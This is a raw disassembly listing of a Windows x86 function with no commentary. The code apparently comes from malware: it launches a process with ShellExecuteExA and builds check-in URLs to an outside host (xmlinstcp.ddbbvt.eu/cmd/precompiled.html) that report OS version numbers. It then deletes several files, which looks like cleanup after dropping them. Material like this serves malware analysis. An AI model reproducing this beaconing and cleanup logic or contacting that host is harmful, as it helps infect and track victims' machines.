push str.sHvOfitEbtTZUafQVXGoGqD
lea ecx, [ebp - 0x574]
call fcn.004011b0
push str.yefjdFYWoSyAQqtjaZUUwX
lea ecx, [ebp - 0x708]
mov dword [ebp - 0x72c], 5
mov dword [ebp - 0x728], 0
call fcn.00401120
lea eax, [ebp - 0x748]
push eax
mov byte [ebp - 4], 0x4b
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push 1
lea ecx, [ebp - 0x544]
test eax, eax
je 0x4086da
call fcn.0040e010
lea ecx, [ebp - 0x544]
call fcn.00415010
push 0x3ff
lea eax, [ebp - 0x413]
push 0
push eax
mov byte [ebp - 4], 0x4c
mov byte [ebp - 0x414], 0
call fcn.0041c7a0
movzx eax, word [ebp - 0x62c]
add esp, 0xc
push eax
push dword [ebp - 0x6b8]
push dword [ebp - 0x6bc]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.h_t_t_p_:_____x_m_l_i_n_s_t_c_p_._d_d_b_b_v_t_._e_u___c_m_d___p_r_e_c_o_m_p_i_l_e_d_._h_t_m_l___q__1__m_a_y_o_r____d__m_i_n_o_r____d__s_p_a_c_k____d_
mov byte [ebp - 4], 0x4d
call fcn.00401120
lea eax, [ebp - 0x768]
push eax
mov byte [ebp - 4], 0x4c
call fcn.00410300
add esp, 0x34
mov ecx, eax
call fcn.0040e3f0
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00404ba0
add esp, 0x14
lea ecx, [ebp - 0x768]
call fcn.00401190
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x544]
call fcn.00415af0
push 0x4344b0
lea ecx, [ebp - 0x544]
call fcn.00415b00
jmp 0x4087be
call fcn.0040e010
lea ecx, [ebp - 0x544]
call fcn.00415010
push 0x3ff
lea eax, [ebp - 0x413]
push 0
push eax
mov byte [ebp - 4], 0x4e
mov byte [ebp - 0x414], 0
call fcn.0041c7a0
movzx eax, word [ebp - 0x62c]
add esp, 0xc
push eax
push dword [ebp - 0x6b8]
push dword [ebp - 0x6bc]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.h_t_t_p_:_____x_m_l_i_n_s_t_c_p_._d_d_b_b_v_t_._e_u___c_m_d___p_r_e_c_o_m_p_i_l_e_d_._h_t_m_l___q__3__m_a_y_o_r____d__m_i_n_o_r____d__s_p_a_c_k____d_
mov byte [ebp - 4], 0x4f
call fcn.00401120
lea eax, [ebp - 0x768]
push eax
mov byte [ebp - 4], 0x4e
call fcn.00410300
add esp, 0x34
mov ecx, eax
call fcn.0040e3f0
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00404ba0
add esp, 0x14
lea ecx, [ebp - 0x768]
call fcn.00401190
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x544]
call fcn.00415af0
push 0x4344b0
lea ecx, [ebp - 0x544]
call fcn.00415b00
lea ecx, [ebp - 0x48c]
call fcn.00401d50
cmp eax, 0x41
jbe 0x4087be
push str.QxPnuRNeNEE_eHIqsB
lea ecx, [ebp - 0x48c]
call fcn.004011b0
push 1
lea ecx, [ebp - 0x544]
call fcn.0040f840
lea ecx, [ebp - 0x544]
call fcn.004156e0
lea ecx, [ebp - 0x544]
mov byte [ebp - 4], 0x4b
call fcn.00415190
push 0xffffffffffffffff
push dword [ebp - 0x710]
mov byte [0x445c65], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00406470
push 0x445cd0
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x768]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x50
call fcn.00406d20
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x4b
call fcn.00401190
push str.JsvMqMngNVKWjgljLmZwu
lea ecx, [ebp - 0x6d8]
call fcn.00401120
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x51
call fcn.0040e3f0
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
call esi
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00406470
push 0x445d04
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x780]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x52
call fcn.00406d20
lea ecx, [ebp - 0x780]
mov byte [ebp - 4], 0x51
call fcn.00401190
lea ecx, [ebp - 0x42c]
call fcn.0040e3f0
push eax
call esi
push 0x20
push 0
push 0xa
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.C_r_
mov byte [ebp - 4], 0x53
call fcn.00401120
lea eax, [ebp - 0x768]
push eax
mov byte [ebp - 4], 0x51
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x54
call fcn.00401c70
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x51
call fcn.00401190
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00406470
push 0x445d6c
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x55
call fcn.00406d20
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 0x51
call fcn.00401190
push 0x20
push 0
push 0xa
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.M_
mov byte [ebp - 4], 0x56
call fcn.00401120
lea eax, [ebp - 0x768]
push eax
mov byte [ebp - 4], 0x51
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x57
call fcn.00401c70
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x51
call fcn.00401190
lea ecx, [ebp - 0x42c]
call fcn.0040e3f0
push eax
call esi
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00406470
push 0x445d38
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x4bc]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x58
call fcn.00406d20
lea ecx, [ebp - 0x4bc]
call fcn.00401190
lea ecx, [ebp - 0x42c]
call fcn.0040e3f0
push eax
call esi
lea ecx, [ebp - 0x6d8]
call fcn.00401190
lea ecx, [ebp - 0x708]
call fcn.00401190
lea ecx, [ebp - 0x6f0]
call fcn.00401190
lea ecx, [ebp - 0x4ec]
call fcn.00401190
lea ecx, [ebp - 0x58c]
call fcn.00401190
lea ecx, [ebp - 0x5a4]
call fcn.00401190
lea ecx, [ebp - 0x5bc]
call fcn.00401190
lea ecx, [ebp - 0x5d4]
call fcn.00401190
lea ecx, [ebp - 0x5ec]
call fcn.00401190
lea ecx, [ebp - 0x574]
call fcn.00401190
lea ecx, [ebp - 0x55c]
call fcn.00401190
lea ecx, [ebp - 0x4a4]
call fcn.00401190
lea ecx, [ebp - 0x42c]
call fcn.00401190
lea ecx, [ebp - 0x45c]
call fcn.00401190
lea ecx, [ebp - 0x4d4]
call fcn.00401190
lea ecx, [ebp - 0x48c]
call fcn.00401190
lea ecx, [ebp - 0x474]
call fcn.00401190
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041bcf4
mov esp, ebp
pop ebp
ret